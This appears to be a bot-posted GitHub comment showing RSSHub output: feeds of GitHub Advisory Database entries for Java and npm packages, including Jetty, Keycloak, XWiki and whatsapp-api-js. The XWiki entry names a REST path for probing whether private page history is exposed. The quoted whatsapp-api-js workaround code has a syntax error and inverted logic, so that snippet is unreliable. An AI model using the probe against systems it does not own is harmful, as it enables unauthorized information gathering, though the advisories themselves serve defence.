        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-50387&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2023-50387&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-8459-gg55-8qjj&quot;&gt;https://github.com/advisories/GHSA-8459-gg55-8qjj&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-crjg-w57m-rqqf&quot;&gt;https://github.com/advisories/GHSA-crjg-w57m-rqqf&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-crjg-w57m-rqqf</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-crjg-w57m-rqqf</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[dnsjava:dnsjava] DNSJava vulnerable to KeyTrap - Denial-of-Service Algorithmic Complexity Attacks</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Users using the &lt;code&gt;ValidatingResolver&lt;/code&gt; for DNSSEC validation can run into CPU exhaustion with specially crafted DNSSEC-signed zones.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;Users should upgrade to dnsjava v3.6.0&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;Although not recommended, only using a non-validating resolver, will remove the vulnerability. &lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;p&gt;&lt;a href=&quot;https://www.athene-center.de/en/keytrap&quot;&gt;https://www.athene-center.de/en/keytrap&lt;/a&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references-1&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/dnsjava/dnsjava/security/advisories/GHSA-crjg-w57m-rqqf&quot;&gt;https://github.com/dnsjava/dnsjava/security/advisories/GHSA-crjg-w57m-rqqf&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/dnsjava/dnsjava/commit/07ac36a11578cc1bce0cd8ddf2fe568f062aee78&quot;&gt;https://github.com/dnsjava/dnsjava/commit/07ac36a11578cc1bce0cd8ddf2fe568f062aee78&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/dnsjava/dnsjava/commit/3ddc45ce8cdb5c2274e10b7401416f497694e1cf&quot;&gt;https://github.com/dnsjava/dnsjava/commit/3ddc45ce8cdb5c2274e10b7401416f497694e1cf&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-50387&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2023-50387&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-8459-gg55-8qjj&quot;&gt;https://github.com/advisories/GHSA-8459-gg55-8qjj&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-crjg-w57m-rqqf&quot;&gt;https://github.com/advisories/GHSA-crjg-w57m-rqqf&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-crjg-w57m-rqqf</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-crjg-w57m-rqqf</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[org.eclipse.edc:transfer-data-plane] Eclipse Dataspace Components&#39;s ConsumerPullTransferTokenValidationApiController doesn&#39;t check for token validit</title>
      <description>&lt;p&gt;In Eclipse Dataspace Components, from version 0.5.0 and before version 0.9.0, the ConsumerPullTransferTokenValidationApiController does not check for token validity (expiry, not-before, issuance date), which can allow an attacker to bypass the check for token expiration. The issue requires to have a dataplane configured to support http proxy consumer pull AND include the module &quot;transfer-data-plane&quot;. The affected code was marked deprecated from the version 0.6.0 in favour of Dataplane Signaling. In 0.9.0 the vulnerable code has been removed.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-8642&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-8642&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse-edc/Connector/commit/04899e91dcdb4a407db4eb7af3e7b6ff9a9e9ad6&quot;&gt;https://github.com/eclipse-edc/Connector/commit/04899e91dcdb4a407db4eb7af3e7b6ff9a9e9ad6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse-edc/Connector/releases/tag/v0.9.0&quot;&gt;https://github.com/eclipse-edc/Connector/releases/tag/v0.9.0&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://gitlab.eclipse.org/security/cve-assignement/-/issues/28&quot;&gt;https://gitlab.eclipse.org/security/cve-assignement/-/issues/28&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/234&quot;&gt;https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/234&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse-edc/Connector/blob/bcb2e42aee82ce1863be3dcbdab29919d39a0e97/extensions/control-plane/transfer/transfer-data-plane/src/main/java/org/eclipse/edc/connector/controlplane/transfer/dataplane/api/ConsumerPullTransferTokenValidationApiController.java&quot;&gt;https://github.com/eclipse-edc/Connector/blob/bcb2e42aee82ce1863be3dcbdab29919d39a0e97/extensions/control-plane/transfer/transfer-data-plane/src/main/java/org/eclipse/edc/connector/controlplane/transfer/dataplane/api/ConsumerPullTransferTokenValidationApiController.java&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-8259-2x72-2gvc&quot;&gt;https://github.com/advisories/GHSA-8259-2x72-2gvc&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-8259-2x72-2gvc</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-8259-2x72-2gvc</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[org.glassfish.main.web:web-core] Eclipse Glassfish URL redirection vulnerability</title>
      <description>&lt;p&gt;In Eclipse Glassfish versions prior to 7.0.10, a URL redirection vulnerability to untrusted sites existed.
        This vulnerability is caused by the vulnerability (CVE-2023-41080) in the Apache code included in GlassFish.
        This vulnerability only affects applications that are explicitly deployed to the root context (&#39;/&#39;).&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-8646&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-8646&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse-ee4j/glassfish/pull/24655&quot;&gt;https://github.com/eclipse-ee4j/glassfish/pull/24655&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://gitlab.eclipse.org/security/cve-assignement/-/issues/34&quot;&gt;https://gitlab.eclipse.org/security/cve-assignement/-/issues/34&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/163&quot;&gt;https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/163&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://glassfish.org/download&quot;&gt;https://glassfish.org/download&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse-ee4j/glassfish/commit/06b80012761d07f6e40e40aa6b0133465b0bd145&quot;&gt;https://github.com/eclipse-ee4j/glassfish/commit/06b80012761d07f6e40e40aa6b0133465b0bd145&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-7gq2-vwq9-w8vw&quot;&gt;https://github.com/advisories/GHSA-7gq2-vwq9-w8vw&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-7gq2-vwq9-w8vw</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-7gq2-vwq9-w8vw</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[org.keycloak:keycloak-core] Keycloak Denial of Service vulnerability</title>
      <description>&lt;p&gt;A denial of service vulnerability was found in keycloak where the amount of attributes per object is not limited,an attacker by sending repeated HTTP requests could cause a resource exhaustion when the application send back rows with long attribute values.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-6841&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2023-6841&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://access.redhat.com/security/cve/CVE-2023-6841&quot;&gt;https://access.redhat.com/security/cve/CVE-2023-6841&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://bugzilla.redhat.com/show_bug.cgi?id=2254714&quot;&gt;https://bugzilla.redhat.com/show_bug.cgi?id=2254714&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-w97f-w3hq-36g2&quot;&gt;https://github.com/advisories/GHSA-w97f-w3hq-36g2&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-w97f-w3hq-36g2</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-w97f-w3hq-36g2</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[org.eclipse.jetty:jetty-xml] Eclipse Jetty XmlParser allows arbitrary DOCTYPE declarations</title>
      <description>&lt;h3 id=&quot;from-the-reporter&quot;&gt;From the reporter&lt;/h3&gt;
        &lt;blockquote&gt;
        &lt;p&gt;&lt;code&gt;XmlParser&lt;/code&gt; is vulnerable to XML external entity (XXE) vulnerability.
        XmlParser is being used when parsing Jetty’s xml configuration files. An attacker might exploit
        this vulnerability in order to achieve SSRF or cause a denial of service.
        One possible scenario is importing a (remote) malicious WAR into a Jetty’s server, while the
        WAR includes a malicious web.xml.&lt;/p&gt;
        &lt;/blockquote&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;There are no circumstances in a normally deployed Jetty server where potentially hostile XML is given to the XmlParser class without the attacker already having arbitrary access to the server. I.e. in order to exploit &lt;code&gt;XmlParser&lt;/code&gt; the attacker would already have the ability to deploy and execute hostile code. Specifically, Jetty has no protection against malicious web application and potentially hostile web applications should only be run on an isolated virtualisation. &lt;/p&gt;
        &lt;p&gt;Thus this is not considered a vulnerability of the Jetty server itself, as any such usage of the jetty XmlParser is equally vulnerable as a direct usage of the JVM supplied SAX parser. No CVE will be allocated to this advisory.&lt;/p&gt;
        &lt;p&gt;However, any direct usage of the &lt;code&gt;XmlParser&lt;/code&gt; class by an application may be vulnerable. The impact would greatly depend on how the application uses &lt;code&gt;XmlParser&lt;/code&gt;, but it could be a denial of service due to large entity expansion, or possibly the revealing local files if the XML results are accessible remotely.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;Ability to configure the SAXParserFactory to fit the needs of your particular XML parser implementation have been merged as part of PR #10067&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;Don&#39;t use &lt;code&gt;XmlParser&lt;/code&gt; to parse data from users.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse/jetty.project/security/advisories/GHSA-58qw-p7qm-5rvh&quot;&gt;https://github.com/eclipse/jetty.project/security/advisories/GHSA-58qw-p7qm-5rvh&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse/jetty.project/pull/10067&quot;&gt;https://github.com/eclipse/jetty.project/pull/10067&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse/jetty.project/releases/tag/jetty-10.0.16&quot;&gt;https://github.com/eclipse/jetty.project/releases/tag/jetty-10.0.16&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse/jetty.project/releases/tag/jetty-11.0.16&quot;&gt;https://github.com/eclipse/jetty.project/releases/tag/jetty-11.0.16&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse/jetty.project/releases/tag/jetty-12.0.0&quot;&gt;https://github.com/eclipse/jetty.project/releases/tag/jetty-12.0.0&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse/jetty.project/releases/tag/jetty-9.4.52.v20230823&quot;&gt;https://github.com/eclipse/jetty.project/releases/tag/jetty-9.4.52.v20230823&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-58qw-p7qm-5rvh&quot;&gt;https://github.com/advisories/GHSA-58qw-p7qm-5rvh&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-58qw-p7qm-5rvh</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-58qw-p7qm-5rvh</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[org.eclipse.jetty:jetty-openid] Jetty&#39;s OpenId Revoked authentication allows one request</title>
      <description>&lt;p&gt;If a Jetty &lt;code&gt;OpenIdAuthenticator&lt;/code&gt; uses the optional nested &lt;code&gt;LoginService&lt;/code&gt;, and that &lt;code&gt;LoginService&lt;/code&gt; decides to revoke an already authenticated user, then the current request will still treat the user as authenticated. The authentication is then cleared from the session and subsequent requests will not be treated as authenticated. &lt;/p&gt;
        &lt;p&gt;So a request on a previously authenticated session could be allowed to bypass authentication after it had been rejected by the &lt;code&gt;LoginService&lt;/code&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;This impacts usages of the jetty-openid which have configured a nested &lt;code&gt;LoginService&lt;/code&gt; and where that &lt;code&gt;LoginService&lt;/code&gt; will is capable of rejecting previously authenticated users.&lt;/p&gt;
        &lt;h3 id=&quot;original-report&quot;&gt;Original Report&lt;/h3&gt;
        &lt;blockquote&gt;
        &lt;p&gt;working on a custom OpenIdAuthenticator, I discovered the following:&lt;/p&gt;
        &lt;p&gt;&lt;a href=&quot;https://github.com/eclipse/jetty.project/blob/jetty-10.0.14/jetty-openid/src/main/java/org/eclipse/jetty/security/openid/OpenIdAuthenticator.java#L505&quot;&gt;https://github.com/eclipse/jetty.project/blob/jetty-10.0.14/jetty-openid/src/main/java/org/eclipse/jetty/security/openid/OpenIdAuthenticator.java#L505&lt;/a&gt;&lt;/p&gt;
        &lt;p&gt;In the case where the LoginService does return that the authentication has been revoked (from the validate() call on line 463), the OpenIdAuthenticator removes the authentication from the session; however the current request still proceeds as if authenticated, since it falls through to &quot;return authentication&quot; on line 505.&lt;/p&gt;
        &lt;p&gt;This is fixed by moving the line 505 (and associated debug log) inside the else block that ends on line 502, instead of outside it. Then the revocation case will run through to line 517 and will trigger a new OpenId authentication which I think is correct.&lt;/p&gt;
        &lt;p&gt;I think this revocation can only occur if you do attach a separate LoginService to the OpenIdLoginService, but in that case the revoked authentication will still let the next request through (and possibly more than one if they are very close to simultaneous).&lt;/p&gt;
        &lt;p&gt;Technically I think this is a security vulnerability, if a very minor one, so I&#39;m sending this off-list.&lt;/p&gt;
        &lt;/blockquote&gt;
        &lt;h3 id=&quot;patched-versions&quot;&gt;Patched Versions&lt;/h3&gt;
        &lt;p&gt;Fixed in Jetty Versions:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;9.4.52 - fixed in PR &lt;a href=&quot;https://github.com/eclipse/jetty.project/pull/9660&quot;&gt;https://github.com/eclipse/jetty.project/pull/9660&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;10.0.16 - fixed in PR &lt;a href=&quot;https://github.com/eclipse/jetty.project/pull/9528&quot;&gt;https://github.com/eclipse/jetty.project/pull/9528&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;11.0.16 - fixed in PR &lt;a href=&quot;https://github.com/eclipse/jetty.project/pull/9528&quot;&gt;https://github.com/eclipse/jetty.project/pull/9528&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;12.0.0 - not impacted (already has fix)&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;workaround&quot;&gt;Workaround&lt;/h3&gt;
        &lt;p&gt;Upgrade your version of Jetty.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse/jetty.project/pull/9528&quot;&gt;https://github.com/eclipse/jetty.project/pull/9528&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse/jetty.project/pull/9660&quot;&gt;https://github.com/eclipse/jetty.project/pull/9660&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;references-1&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse/jetty.project/security/advisories/GHSA-pwh8-58vv-vw48&quot;&gt;https://github.com/eclipse/jetty.project/security/advisories/GHSA-pwh8-58vv-vw48&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse/jetty.project/pull/9528&quot;&gt;https://github.com/eclipse/jetty.project/pull/9528&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse/jetty.project/pull/9660&quot;&gt;https://github.com/eclipse/jetty.project/pull/9660&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-41900&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2023-41900&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://www.debian.org/security/2023/dsa-5507&quot;&gt;https://www.debian.org/security/2023/dsa-5507&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://security.netapp.com/advisory/ntap-20231110-0004&quot;&gt;https://security.netapp.com/advisory/ntap-20231110-0004&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-pwh8-58vv-vw48&quot;&gt;https://github.com/advisories/GHSA-pwh8-58vv-vw48&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-pwh8-58vv-vw48</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-pwh8-58vv-vw48</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[org.xwiki.platform:xwiki-platform-rest-server] XWiki Platform document history including authors of any page exposed to unauthorized actors</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;The REST API exposes the history of any page in XWiki of which the attacker knows the name. The exposed information includes for each modification of the page the time of the modification, the version number, the author of the modification (both username and displayed name) and the version comment. This information is exposed regardless of the rights setup, and even when the wiki is configured to be fully private.&lt;/p&gt;
        &lt;p&gt;On a private wiki, this can be tested by accessing &lt;code&gt;/xwiki/rest/wikis/xwiki/spaces/Main/pages/WebHome/history&lt;/code&gt;, if this shows the history of the main page then the installation is vulnerable.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;This has been patched in XWiki 15.10.9 and XWiki 16.3.0RC1.&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;There aren&#39;t any known workarounds apart from upgrading to a fixed version.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://jira.xwiki.org/browse/XWIKI-22052&quot;&gt;https://jira.xwiki.org/browse/XWIKI-22052&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/xwiki/xwiki-platform/commit/9cbca9808300797c67779bb9a665d85cf9e3d4b8&quot;&gt;https://github.com/xwiki/xwiki-platform/commit/9cbca9808300797c67779bb9a665d85cf9e3d4b8&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;references-1&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-pvmm-55r5-g3mm&quot;&gt;https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-pvmm-55r5-g3mm&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/xwiki/xwiki-platform/commit/26482ee5d29fc21f31134d1ee13db48716e89e0f&quot;&gt;https://github.com/xwiki/xwiki-platform/commit/26482ee5d29fc21f31134d1ee13db48716e89e0f&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/xwiki/xwiki-platform/commit/9cbca9808300797c67779bb9a665d85cf9e3d4b8&quot;&gt;https://github.com/xwiki/xwiki-platform/commit/9cbca9808300797c67779bb9a665d85cf9e3d4b8&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://jira.xwiki.org/browse/XWIKI-22052&quot;&gt;https://jira.xwiki.org/browse/XWIKI-22052&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45591&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45591&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-pvmm-55r5-g3mm&quot;&gt;https://github.com/advisories/GHSA-pvmm-55r5-g3mm&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-pvmm-55r5-g3mm</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-pvmm-55r5-g3mm</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[org.xwiki.platform:xwiki-platform-rest-server] XWiki Platform document history including authors of any page exposed to unauthorized actors</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;The REST API exposes the history of any page in XWiki of which the attacker knows the name. The exposed information includes for each modification of the page the time of the modification, the version number, the author of the modification (both username and displayed name) and the version comment. This information is exposed regardless of the rights setup, and even when the wiki is configured to be fully private.&lt;/p&gt;
        &lt;p&gt;On a private wiki, this can be tested by accessing &lt;code&gt;/xwiki/rest/wikis/xwiki/spaces/Main/pages/WebHome/history&lt;/code&gt;, if this shows the history of the main page then the installation is vulnerable.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;This has been patched in XWiki 15.10.9 and XWiki 16.3.0RC1.&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;There aren&#39;t any known workarounds apart from upgrading to a fixed version.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://jira.xwiki.org/browse/XWIKI-22052&quot;&gt;https://jira.xwiki.org/browse/XWIKI-22052&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/xwiki/xwiki-platform/commit/9cbca9808300797c67779bb9a665d85cf9e3d4b8&quot;&gt;https://github.com/xwiki/xwiki-platform/commit/9cbca9808300797c67779bb9a665d85cf9e3d4b8&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;references-1&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-pvmm-55r5-g3mm&quot;&gt;https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-pvmm-55r5-g3mm&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/xwiki/xwiki-platform/commit/26482ee5d29fc21f31134d1ee13db48716e89e0f&quot;&gt;https://github.com/xwiki/xwiki-platform/commit/26482ee5d29fc21f31134d1ee13db48716e89e0f&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/xwiki/xwiki-platform/commit/9cbca9808300797c67779bb9a665d85cf9e3d4b8&quot;&gt;https://github.com/xwiki/xwiki-platform/commit/9cbca9808300797c67779bb9a665d85cf9e3d4b8&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://jira.xwiki.org/browse/XWIKI-22052&quot;&gt;https://jira.xwiki.org/browse/XWIKI-22052&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45591&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45591&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-pvmm-55r5-g3mm&quot;&gt;https://github.com/advisories/GHSA-pvmm-55r5-g3mm&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-pvmm-55r5-g3mm</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-pvmm-55r5-g3mm</guid>
      <author>GitHub</author>
    </item>
  </channel>
</rss>

...

@github-actions GitHub Actions
Copy link
Contributor

http://localhost:1200/github-advisor/data/npm - Success ✔️ 
<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
  <channel>
    <title>GitHub Advisory Database RSS - npm</title>
    <link>https://github.com/advisories</link>
    <atom:link href="http://localhost:1200/github-advisor/data/npm" rel="self" type="application/rss+xml"></atom:link>
    <description>GitHub Advisory Database RSS - npm - Powered by RSSHub</description>
    <generator>RSSHub</generator>
    <webMaster>contact@rsshub.app (RSSHub)</webMaster>
    <language>en</language>
    <lastBuildDate>Fri, 13 Sep 2024 16:32:37 GMT</lastBuildDate>
    <ttl>5</ttl>
    <item>
      <title>[whatsapp-api-js] whatsapp-api-js fails to validate message&#39;s signature</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Incorrect Access Control, anyone using the post or verifyRequestSignature methods to handle messages is impacted.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;Patched in version 4.0.3.&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;It&#39;s possible to check the payload validation using the WhatsAppAPI.verifyRequestSignature and expect false when the signature is valid.&lt;/p&gt;
        &lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;function doPost(payload, header_signature) {
        if (whatsapp.verifyRequestSignature(payload.toString(), header_signature) {
        throw 403;
        }
        // Now the payload is correctly verified
        whatsapp.post(payload);
        }
        &lt;/code&gt;&lt;/pre&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;p&gt;&lt;a href=&quot;https://github.com/Secreto31126/whatsapp-api-js/pull/371&quot;&gt;https://github.com/Secreto31126/whatsapp-api-js/pull/371&lt;/a&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references-1&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/Secreto31126/whatsapp-api-js/security/advisories/GHSA-mwhf-vhr5-7j23&quot;&gt;https://github.com/Secreto31126/whatsapp-api-js/security/advisories/GHSA-mwhf-vhr5-7j23&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/Secreto31126/whatsapp-api-js/pull/371&quot;&gt;https://github.com/Secreto31126/whatsapp-api-js/pull/371&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/Secreto31126/whatsapp-api-js/commit/56620c65126427496a94d176082fbd8393a95b6d&quot;&gt;https://github.com/Secreto31126/whatsapp-api-js/commit/56620c65126427496a94d176082fbd8393a95b6d&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45607&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45607&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-mwhf-vhr5-7j23&quot;&gt;https://github.com/advisories/GHSA-mwhf-vhr5-7j23&lt;/a&gt;&lt;/li&gt;
